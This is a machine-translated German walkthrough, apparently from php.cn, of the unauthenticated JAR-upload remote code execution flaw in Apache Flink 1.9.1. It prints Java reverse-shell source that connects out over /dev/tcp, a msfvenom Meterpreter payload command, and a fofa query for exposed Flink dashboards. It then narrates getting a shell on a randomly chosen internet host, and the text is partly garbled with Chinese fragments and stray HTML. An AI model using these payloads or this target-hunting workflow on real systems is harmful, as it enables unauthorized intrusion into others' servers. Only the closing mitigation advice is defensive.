Inhaltsverzeichnis
Umgebungsaufbau:
Wiederkehr der Sicherheitslücke:
Heim Betrieb und Instandhaltung Sicherheit Beispielanalyse der Remote-Codeausführung, die durch das Hochladen eines JAR-Pakets in Apache Flink verursacht wird

Beispielanalyse der Remote-Codeausführung, die durch das Hochladen eines JAR-Pakets in Apache Flink verursacht wird

May 15, 2023 pm 01:01 PM
flink jar包

Beschreibung der Sicherheitslücke:

Am 11. November 2019 hat der Sicherheitsingenieur Henry Chen eine Sicherheitslücke offengelegt, die es Apache Flink ermöglicht, JAR-Pakete ohne Autorisierung hochzuladen, was zur Remote-Codeausführung führt. Da auf das Apache Flink Dashboard standardmäßig ohne Authentifizierung zugegriffen werden kann, kann eine Shell erhalten werden, indem ein bösartiges JAR-Paket hochgeladen und die Ausführung von bösartigem Code ausgelöst wird.

Einflussbereich

<= 1.9.1 (neueste Version)

Umgebungsaufbau:

(1) Java im Voraus installieren (erfordert Java8 oder höher)

apache flink任意jar包上传导致远程代码执行的示例分析

(2) Flink herunterladen- 1.9.1

Download-Adresse: https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

(3) Entpacken Sie das komprimierte Paket und laden Sie es herunter:

tar -zxf flink-1.9.1-bin-scala_2.11.tgz
Nach dem Login kopieren

(4) Gehen Sie in das dekomprimierte Verzeichnis und in das Bin-Verzeichnis:

apache flink任意jar包上传导致远程代码执行的示例分析

(5) Starten Sie den Flink:

./start-cluster.sh
Nach dem Login kopieren

(6) Überprüfung des Browserzugriffs (der Standardport ist 8081):

http://172.26.1.108:8081

apache flink任意jar包上传导致远程代码执行的示例分析

Wenn das obige Bild erscheint, ist die Konstruktion erfolgreich.

(7) Richten Sie den automatischen Start beim Booten ein (ich habe hier seit einer Weile Probleme Lange Zeit und ich kann die Quelle /etc /rc.d/rc.local nicht starten, aber Flink wird nach dem Neustart nicht gestartet. Endlich wurde eine Lösung gefunden)

apache flink任意jar包上传导致远程代码执行的示例分析

Einstellungen für den automatischen Start beim Booten

Wiederkehr der Sicherheitslücke:

JAR-Paket-Produktionsschritte:

(1) Informationen zur Verwendung von Java finden Sie im Artikel https://klionsec.github.io/2016/09/27/revese-shell/#menu Binden Sie die Shell erneut ein. Denken Sie daran, die IP-Adresse und den Port zu ändern: Dann auswählen das entsprechende Java-Projekt und der Exportpfad sowie der Exportdateiname

apache flink任意jar包上传导致远程代码执行的示例分析

Bild

wie folgt: Ein JAR-Paket für die Rebound-Shell wird generiertapache flink任意jar包上传导致远程代码执行的示例分析

MSF generiert JAR-Pferd:

(1) Verwenden Sie msfvenom, um ein JAR-Pferd zu generieren:

<p >package shell;public class Revs {   <br/> /**    * @param args    * @throws Exception     */    <br/> public static void main(String[] args) throws Exception {        <br/> // TODO Auto-generated method stub        <br/> Runtime r = Runtime.getRuntime();        <br/> String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;<br> cat <&5 | while read line; do $line 2>&5 >&amp5; done"};        <br> Process p = r.exec(cmd);        <br> p.waitFor();<br>     }}</p>
<p>(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)</p>
<img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687669673.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析">(2) Öffnen Sie das Listening-Modul von msf und hören Sie auf Port 9999 (zur Verwendung mit unserem Jar. Der vom Pferd festgelegte Port ist konsistent)<pre class="brush:php;toolbar:false">msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
Nach dem Login kopieren

apache flink任意jar包上传导致远程代码执行的示例分析(3) Nach dem Hochladen des von uns generierten Jar-Pferdes und dem Absenden Darin (siehe Reproduktion unten für diesen Teil des Vorgangs) können Sie sehen, dass wir die Shell erfolgreich erhalten haben:

apache flink任意jar包上传导致远程代码执行的示例分析

Lokale Reproduktion:

(1) Zugriffsziel:

(2) Klicken Sie auf „Neuen Auftrag senden“, um die Seite zum Hochladen des JAR-Pakets zu öffnen:


(3) Klicken Sie auf „Neu hinzufügen“, um das von uns erstellte JAR-Paket auszuwählen:

apache flink任意jar包上传导致远程代码执行的示例分析

(4) Überwachen Sie den Port auf unserer Maschine (dem JAR). (5) Klicken Sie auf das Glaspaket, das wir gerade hochgeladen haben: apache flink任意jar包上传导致远程代码执行的示例分析Internetseite:

fofa-Schlüsselwörter:

"Apache-Flink-Dashboard" && Land="US"

apache flink任意jar包上传导致远程代码执行的示例分析

(1) Finden Sie ein zufälliges Ziel:

apache flink任意jar包上传导致远程代码执行的示例分析

(2) Klicken Sie auf „Neuen Auftrag senden“. Sie können sehen, dass wir damit das JAR hochladen können Pakete

apache flink任意jar包上传导致远程代码执行的示例分析

(3) Verwenden Sie die Funktion von flink, um das JAR-Paket hochzuladen, um unser JAR-Paket hochzuladen:

#🎜 🎜## 🎜🎜#apache flink任意jar包上传导致远程代码执行的示例分析(4) Nach dem Hochladen überwachen wir den Port auf unserem VPS

(5) Gehen Sie dann zurück zum Browser, wählen Sie das gerade hochgeladene JAR-Paket aus und Klicken Sie auf „Senden“. Sie können sehen, dass unser VPS die Shell erfolgreich empfangen hat. Empfohlene Einstellungen Firewall-Richtlinie: Erlauben Sie nur Whitelist-IPs den Zugriff auf den Apache-Flink-Dienst und fügen Sie Digest-Authentifizierung für den Dienst im Web-Proxy hinzu (z. B. Apache httpd).

Achten Sie immer auf die offizielle Website und warten Sie auf neue Versionen oder Patch-Updates

Das obige ist der detaillierte Inhalt vonBeispielanalyse der Remote-Codeausführung, die durch das Hochladen eines JAR-Pakets in Apache Flink verursacht wird. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn

Heiße KI -Werkzeuge

Undresser.AI Undress

Undresser.AI Undress

KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover

AI Clothes Remover

Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool

Undress AI Tool

Ausziehbilder kostenlos

Clothoff.io

Clothoff.io

KI-Kleiderentferner

AI Hentai Generator

AI Hentai Generator

Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

R.E.P.O. Energiekristalle erklärten und was sie tun (gelber Kristall)
1 Monate vor By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Beste grafische Einstellungen
1 Monate vor By 尊渡假赌尊渡假赌尊渡假赌
Will R.E.P.O. Crossplay haben?
1 Monate vor By 尊渡假赌尊渡假赌尊渡假赌

Heiße Werkzeuge

Notepad++7.3.1

Notepad++7.3.1

Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version

SublimeText3 chinesische Version

Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1

Senden Sie Studio 13.0.1

Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6

Dreamweaver CS6

Visuelle Webentwicklungstools

SublimeText3 Mac-Version

SublimeText3 Mac-Version

Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

So importieren Sie ein JAR-Paket in Eclipse So importieren Sie ein JAR-Paket in Eclipse Jan 12, 2024 pm 03:45 PM

So importieren Sie JAR-Pakete in Eclipse: 1. Erstellen Sie ein neues Java-Projekt. 3. Kopieren Sie das JAR-Paket in den Bibliotheksordner. 5. Fügen Sie das JAR-Paket hinzu 6. Konfigurieren Sie den Projekt-Build-Pfad. 8. Andere Importmethoden. 11. Pflegen und aktualisieren Sie die Bibliothek. Detaillierte Einführung: 1. Erstellen Sie ein neues Java-Projekt, starten Sie Eclipse IDE, wählen Sie das Menü „Datei“ in der oberen Menüleiste usw.

So importieren Sie ein JAR-Paket in Maven So importieren Sie ein JAR-Paket in Maven Jan 08, 2024 pm 01:59 PM

Die Schritte für Maven zum Importieren eines JAR-Pakets: 2. Erstellen Sie ein Maven-Projekt. 4. Fügen Sie Abhängigkeitselemente hinzu. 6. Erstellen Sie das Projekt. 7. Überprüfen Sie den Import. Detaillierte Einführung: 1. Laden Sie zunächst das erforderliche JAR-Paket von der entsprechenden Website oder dem Quellcode-Warehouse herunter. Stellen Sie sicher, dass das heruntergeladene JAR-Paket mit Ihrem Projekt kompatibel ist und die erforderlichen Versionsanforderungen erfüllt . Wenn noch kein Maven-Projekt vorhanden ist, müssen Sie zuerst eines erstellen und so weiter.

Vergleich zwischen Spark Streaming und Flink Vergleich zwischen Spark Streaming und Flink Apr 19, 2024 pm 12:51 PM

SparkStreaming und Flink sind beide Stream-Verarbeitungs-Frameworks mit unterschiedlichen Funktionen: Programmiermodell: SparkStreaming basiert auf dem SparkRDD-Modell, während Flink über eine eigene Streaming-API verfügt. Statusverwaltung: Flink verfügt über eine integrierte Statusverwaltung, während SparkStreaming externe Lösungen erfordert. Fehlertoleranz: Flink basiert auf Snapshots, während SparkStreaming auf Checkpoints basiert. Skalierbarkeit: Flink basiert auf Stream-Operator-Ketten, während SparkStreaming auf Cluster-Skalierung basiert. In Anwendungsfällen der Echtzeit-Datenaggregation schneidet Flink im Allgemeinen besser ab als SparkStreaming, da es einen besseren Durchsatz bietet

Verwenden Sie Flink in der Go-Sprache, um eine effiziente Datenflussverarbeitung zu erreichen Verwenden Sie Flink in der Go-Sprache, um eine effiziente Datenflussverarbeitung zu erreichen Jun 15, 2023 pm 09:10 PM

Mit dem Aufkommen des Big-Data-Zeitalters ist die Datenverarbeitung zu einem Problem geworden, das in verschiedenen Branchen beachtet und gelöst werden muss. Als leistungsstarkes Datenverarbeitungstool bietet uns das Aufkommen von Flink eine effiziente, zuverlässige und skalierbare Lösung. In diesem Artikel stellen wir vor, wie Sie Flink in der Go-Sprache verwenden, um eine effiziente Datenflussverarbeitung zu erreichen. 1. Einführung in Flink Apache Flink ist eine Open-Source-Plattform für die verteilte Datenverarbeitung. Ihr Ziel ist es, eine effiziente, zuverlässige und skalierbare Möglichkeit zur Verarbeitung großer Datenmengen bereitzustellen.

Maven Advanced Tutorial: Ausführliche Erkundung verschiedener Methoden zum Importieren von Jar-Paketen Maven Advanced Tutorial: Ausführliche Erkundung verschiedener Methoden zum Importieren von Jar-Paketen Feb 23, 2024 pm 02:57 PM

Titel: Maven Advanced Tutorial: Ausführliche Erkundung verschiedener Methoden zum Importieren von Jar-Paketen. Als Java-Projektmanagement-Tool wird Maven häufig in der Projektkonstruktion, im Abhängigkeitsmanagement usw. verwendet. Im eigentlichen Entwicklungsprozess verwenden wir häufig Jar-Pakete verschiedener Bibliotheken von Drittanbietern, und der effektive Import von Jar-Paketen ist zu einer Fähigkeit geworden, die beherrscht werden muss. Dieser Artikel befasst sich mit den Methoden zum Importieren von Jar-Paketen in Maven, einschließlich der Verwendung lokaler Jar-Pakete, Remote-Warehouse-Jar-Pakete und benutzerdefinierter Jar-Pakete, und gibt spezifische Details an.

Anleitung und Vorsichtsmaßnahmen zur Verwendung des MySQL-Jar-Pakets Anleitung und Vorsichtsmaßnahmen zur Verwendung des MySQL-Jar-Pakets Mar 01, 2024 pm 04:21 PM

Anleitung und Vorsichtsmaßnahmen für die Verwendung des MySQL-Jar-Pakets MySQL ist ein häufig verwendetes relationales Datenbankverwaltungssystem. Viele Java-Projekte verwenden MySQL als Backend für die Datenspeicherung. Um in einem Java-Projekt mit der MySQL-Datenbank zu interagieren, müssen Sie den von MySQL bereitgestellten Java-Treiber (d. h. das Jar-Paket) verwenden. In diesem Artikel werden die Nutzungsrichtlinien und Vorsichtsmaßnahmen für das MySQL-Jar-Paket vorgestellt und spezifische Codebeispiele bereitgestellt, um den Lesern eine bessere Nutzung des MySQL-Treibers zu erleichtern. 1. M

Anleitung zum korrekten Importieren von Jar-Paketen in Maven-Projekte Anleitung zum korrekten Importieren von Jar-Paketen in Maven-Projekte Feb 19, 2024 pm 12:00 PM

Erste Schritte mit Maven: Wie importiere ich Jar-Pakete korrekt? Maven ist ein leistungsstarkes Projektmanagement-Tool, das Entwicklern dabei helfen kann, Projektabhängigkeiten zu verwalten, Projekte zu erstellen usw. Während der Projektentwicklung müssen wir häufig externe Jar-Pakete importieren, um einige Funktionen zu implementieren. In diesem Artikel wird erläutert, wie Sie mit Maven Jar-Pakete korrekt importieren, und es werden spezifische Codebeispiele bereitgestellt. Zuerst müssen wir Abhängigkeiten zu den erforderlichen Jar-Paketen in der pom.xml-Datei von Maven hinzufügen. In pom.xml gibt es eine

Was ist das Jar-Paket von MySQL? Detaillierte Analyse Was ist das Jar-Paket von MySQL? Detaillierte Analyse Mar 01, 2024 pm 06:33 PM

Das Jar-Paket von MySQL bezieht sich auf das Java-Treiberpaket, das zum Verbinden und Betreiben der MySQL-Datenbank verwendet wird. Bei der Java-Entwicklung muss die Interaktionsfunktion mit der MySQL-Datenbank über das Jar-Paket implementiert werden. Das Jar-Paket von MySQL bietet eine Reihe von Klassen und Methoden, mit denen Entwickler problemlos eine Verbindung zur MySQL-Datenbank herstellen, SQL-Anweisungen ausführen, Abfrageergebnisse abrufen und andere Vorgänge ausführen können. Unter normalen Umständen können Entwickler das MySQL-Jar-Paket über die offizielle Website oder das Maven-Repository und andere Kanäle herunterladen und dann

See all articles